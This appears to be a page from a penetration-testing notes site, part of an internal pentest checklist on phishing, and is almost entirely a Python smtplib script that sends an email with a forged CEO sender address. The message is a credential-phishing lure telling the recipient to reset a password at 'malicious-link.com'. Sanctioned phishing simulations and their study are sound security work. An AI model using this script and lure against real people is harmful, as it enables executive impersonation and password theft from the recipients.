> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/pentesting-checklist-s/internal-pentest-checklist/social-engineering/phishing/spoofing-with-python.md).

# Spoofing with python

Leverage python to send spoofed emails

```
import smtplib

# Set up the server
server = smtplib.SMTP('smtp.example.com', 25)  # Replace with the target SMTP server and port
server.ehlo()

# Compose the message
from_email = "ceo@company.com"  # Spoofed sender
to_email = "victim@targetdomain.com"
subject = "Urgent: Security Update"
message = """\
From: CEO <ceo@company.com>
To: <victim@targetdomain.com>
Subject: {subject}

Dear User,

Please reset your password immediately at the following link:
http://malicious-link.com

Sincerely,
CEO
"""

# Send the email
server.sendmail(from_email, to_email, message)
server.quit()
```
